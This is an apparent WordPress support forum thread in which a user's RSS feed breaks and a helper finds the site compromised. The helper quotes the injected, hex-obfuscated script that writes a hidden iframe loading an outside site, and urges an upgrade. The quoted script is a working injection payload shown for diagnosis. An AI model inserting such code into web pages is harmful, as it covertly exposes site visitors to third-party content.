 * My RSS feed went down on Friday and I’m not sure why. You can see here: [Link
   removed due to compromised site] what it says:
 * > “Warning: Cannot modify header information – headers already sent by (output
   > started at /home/colossia/public_html/wp-blog-header.php:21) in /home/colossia/
   > public_html/wp-rss2.php on line 8”
 * To my knowledge, nothing happened or changed on Friday that should have affected
   this. Anyone have any ideas? Thanks so much.

 * well. youre a great example of WHY people need to upgrade your blog now arent
   you.
 * You appear to be using 2.0?
 * and your site has been compromised.
 * Bring up this url in a browser:
    [Link removed due to compromised site]
 * Now using that wonderful tool called view source, look at the actual source of
   that page. At the top you will see this:
 * `<script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv
   ="";for(uknzaxauyi=0;uknzaxauyi<skusjits.length;uknzaxauyi+=2){fgdxbotv+=(String.
   fromCharCode(parseInt(skusjits.substr(uknzaxauyi,2),16)));}document.write(fgdxbotv);}
   ahpgxusvlwuzz("3C696672616D65207372633D22687474703A2F2F746F703130302D636F756E7465722E636F6D2F746F703130302F696E6465782E70687022206672616D65626F726465723D22302220626F726465723D2230222077696474683D223022206865696768743D223022207374796C653D22706F736974696F6E3A206162736F6C7574653B207669736962696C6974793A2068696464656E3B20646973706C61793A206E6F6E65223E3C2F696672616D653E");
   </script>`
 * Thats your problem. And its inside one of your files, possibly wp-rss.php
 * How did it get there?
 * Probably very easily put there, since you haven’t upgraded in what, a year????
   🙁

 * I’ve removed the links to hacked pages just in case something nasty has been 
   inserted somewhere.

 * I found and removed that bit of code, but the problem seems to persist.

 * your feed is fine now, I JUST looked. You are, you know, just treating a symptom
   of a larger problem — removing the offending code is fine, but I’m telling you:
 * Y O U N E E D T O U P G R A D E …
 * Since you are still on the 2.0.x branch, it would be VERY easy for you to upgrade
   to at least 2.0.11

 * Until you do that, youre apt to have continuing problems like this, and you will
   have no-one but yourself to blame.
